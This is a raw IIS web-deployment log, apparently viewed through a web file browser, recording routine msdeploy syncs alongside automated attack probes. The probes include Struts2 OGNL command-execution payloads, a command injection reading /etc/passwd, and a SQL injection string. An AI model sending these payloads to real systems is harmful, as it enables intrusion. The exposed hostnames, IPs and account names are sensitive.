????
Current Path : C:/inetpub/logs/wmsvc/W3SVC1/ |
Current File : C:/inetpub/logs/wmsvc/W3SVC1/ex241106.log |
#Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 00:51:58 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 00:51:57 103.153.214.94 GET /wp-content/plugins/armember-membership/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(Fedora;+Linux+x86_64;+rv:125.0)+Gecko/20100101+Firefox/125.0 - 404 7 0 207 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 02:23:20 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 02:23:20 103.153.214.94 GET /wp-content/plugins/rich-widget/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(Knoppix;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/126.0.0.0+Safari/537.36 - 404 7 0 205 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 03:55:28 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 03:55:28 103.153.214.94 GET /wp-content/plugins/cost-calculator-builder/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.4.1+Safari/605.6.16 - 404 7 0 206 2024-11-06 03:57:14 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 - 119.82.130.75 - - 401 2 5 47 2024-11-06 03:57:14 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 77 2024-11-06 03:57:14 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 21 2024-11-06 03:57:14 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=32073019-9806-4713-9950-dfa56436af7e;op=Sync - 200 0 0 398 2024-11-06 03:57:14 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 495 2024-11-06 03:57:14 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 11 2024-11-06 03:58:35 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=32073019-9806-4713-9950-dfa56436af7e;op=Sync - 200 0 0 80114 2024-11-06 03:58:35 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 80157 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 05:32:24 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 05:32:24 103.153.214.94 GET /wp-content/plugins/mistape/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+11_0_0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/87.0.4280.88+Safari/537.36 - 404 7 0 202 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 07:03:53 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 07:03:53 103.153.214.94 GET /wp-content/plugins/js-support-ticket/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(CentOS;+Linux+i686;+rv:127.0)+Gecko/20100101+Firefox/127.0 - 404 7 0 203 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 09:03:13 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 09:03:13 103.153.214.94 GET /index.action redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.4.1+Safari/605.6.24 - 404 7 0 211 2024-11-06 09:03:13 103.153.214.94 GET /login.action action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+LoiLoNote/25.0.1+Version/17.4.1+Safari/605.1.15 - 404 7 0 201 2024-11-06 09:03:14 103.153.214.94 GET /index.action redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D 8172 - 107.189.28.251 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/121.0.0.0+Safari/537.36 - 404 7 0 201 2024-11-06 09:03:14 103.153.214.94 GET /index.action redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 404 7 0 211 2024-11-06 09:03:14 103.153.214.94 GET /index.action action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.4.1+Safari/605.2.20 - 404 7 0 201 2024-11-06 09:03:14 103.153.214.94 GET /index.action redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+14_4_1)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.3.1+Safari/605.1.15 - 404 7 0 201 2024-11-06 09:03:14 103.153.214.94 GET /login.action redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(CentOS;+Linux+i686)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/118.0.0.0+Safari/537.36 - 404 7 0 200 2024-11-06 09:03:14 103.153.214.94 GET /index.action action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D 8172 - 107.189.28.251 Mozilla/5.0+(Knoppix;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/123.0.0.0+Safari/537.36 - 404 7 0 214 2024-11-06 09:03:14 103.153.214.94 GET /login.action redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 8172 - 107.189.28.251 Mozilla/5.0+(Kubuntu;+Linux+x86_64;+rv:122.0)+Gecko/20100101+Firefox/122.0 - 404 7 0 200 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 09:33:20 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 09:33:20 103.153.214.94 HEAD /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 - 119.82.130.75 - - 401 2 5 16 2024-11-06 09:33:20 103.153.214.94 HEAD /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 - - 200 0 0 26 2024-11-06 09:33:20 103.153.214.94 HEAD /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 - - 200 0 0 20 2024-11-06 09:33:20 103.153.214.94 POST /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=b22b9eb0-bbdc-4d6f-a1b5-d35f84cfdd76;op=Sync - 200 0 0 238 2024-11-06 09:33:20 103.153.214.94 POST /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 - - 200 0 0 304 2024-11-06 09:33:20 103.153.214.94 HEAD /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 - - 200 0 0 9 2024-11-06 09:33:32 103.153.214.94 POST /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=b22b9eb0-bbdc-4d6f-a1b5-d35f84cfdd76;op=Sync - 200 0 0 12436 2024-11-06 09:33:33 103.153.214.94 POST /msdeploy.axd Site=qnquyhoach.nextform.vn 8172 jenkins 119.82.130.75 - - 200 0 0 12510 2024-11-06 09:48:09 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 - 119.82.130.75 - - 401 2 5 17 2024-11-06 09:48:09 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 29 2024-11-06 09:48:09 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 19 2024-11-06 09:48:09 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=cb1d752d-f6af-4530-810d-231d4f4caa21;op=Sync - 200 0 0 395 2024-11-06 09:48:09 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 455 2024-11-06 09:48:09 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 16 2024-11-06 09:49:30 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=cb1d752d-f6af-4530-810d-231d4f4caa21;op=Sync - 200 0 0 80865 2024-11-06 09:49:30 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 80900 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 10:05:06 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 10:05:06 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 - 119.82.130.75 - - 401 2 5 18 2024-11-06 10:05:06 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 28 2024-11-06 10:05:06 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 20 2024-11-06 10:05:06 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=b9c3e310-a862-4e56-acbf-261a51973fe9;op=Sync - 200 0 0 425 2024-11-06 10:05:06 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 494 2024-11-06 10:05:06 103.153.214.94 HEAD /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 15 2024-11-06 10:06:26 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 MSDeployExe;sid=b9c3e310-a862-4e56-acbf-261a51973fe9;op=Sync - 200 0 0 79334 2024-11-06 10:06:26 103.153.214.94 POST /msdeploy.axd Site=kiemkegpmb.gdtsolutions.vn 8172 jenkins 119.82.130.75 - - 200 0 0 79389 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 10:55:43 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 10:55:43 103.153.214.94 GET /wp-content/themes/ghost/style.css - 8172 - 107.189.28.251 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/94.0.4606.71+Safari/537.36 - 404 7 0 210 2024-11-06 10:59:44 103.153.214.94 GET / - 8172 - 87.236.176.207 Mozilla/5.0+(compatible;+InternetMeasurement/1.0;++https://internet-measurement.com/) - 404 7 0 294 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 12:31:18 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 12:31:18 103.153.214.94 GET /wp-content/plugins/levelfourstorefront/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(Windows+NT+6.1;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 404 7 0 213 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 14:07:27 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 14:07:27 103.153.214.94 GET /linuxki/experimental/vis/kivis.php type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.2.1+Safari/605.7.15 - 404 7 0 205 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 16:15:25 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 16:15:25 103.153.214.94 POST /apply_sec.cgi - 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/110.0.0.0+Safari/537.36 https://bcvt.kontum.gov.vn:8172 404 7 0 207 2024-11-06 16:15:25 103.153.214.94 POST /apply_sec.cgi - 8172 - 107.189.28.251 Mozilla/5.0+(X11;+Linux+x86_64;+rv:71.0)+Gecko/20100101+Firefox/71.0 https://bcvt.kontum.gov.vn:8172/login_pic.asp 404 7 0 202 2024-11-06 16:15:26 103.153.214.94 POST /apply_sec.cgi - 8172 - 107.189.28.251 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.102+Safari/537.36+Edge/18.19041 https://bcvt.kontum.gov.vn:8172/login_pic.asp 404 7 0 200 2024-11-06 16:25:21 103.153.214.94 GET / - 8172 - 162.216.149.34 Expanse,+a+Palo+Alto+Networks+company,+searches+across+the+global+IPv4+space+multiple+times+per+day+to+identify+customers'+presences+on+the+Internet.+If+you+would+like+to+be+excluded+from+our+scans,+please+send+IP+addresses/domains+to:+scaninfo@paloaltonetworks.com - 404 7 0 326 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 18:29:56 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 18:29:56 103.153.214.94 GET / - 8172 - 107.189.28.251 Mozilla/5.0+(CentOS;+Linux+i686)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/128.0.0.0+Safari/537.36 - 404 7 0 202 2024-11-06 18:29:56 103.153.214.94 POST / - 8172 - 107.189.28.251 Mozilla/5.0+(Ubuntu;+Linux+i686;+rv:126.0)+Gecko/20100101+Firefox/126.0 https://bcvt.kontum.gov.vn:8172 404 7 0 202 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 20:20:49 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 20:20:49 103.153.214.94 GET /wp-content/plugins/double-opt-in-for-download/readme.txt - 8172 - 107.189.28.251 Mozilla/5.0+(ZZ;+Linux+x86_64;+rv:122.0)+Gecko/20100101+Firefox/122.0 - 404 7 0 206 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 21:50:14 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 21:50:14 103.153.214.94 GET /administrator/ - 8172 - 107.189.28.251 Mozilla/5.0+(Kubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/123.0.0.0+Safari/537.36 - 404 7 0 216 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2024-11-06 23:23:57 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2024-11-06 23:23:57 103.153.214.94 GET /snippets.inc.php search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains 8172 - 107.189.28.251 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/111.0.0.0+Safari/537.36 - 404 7 0 215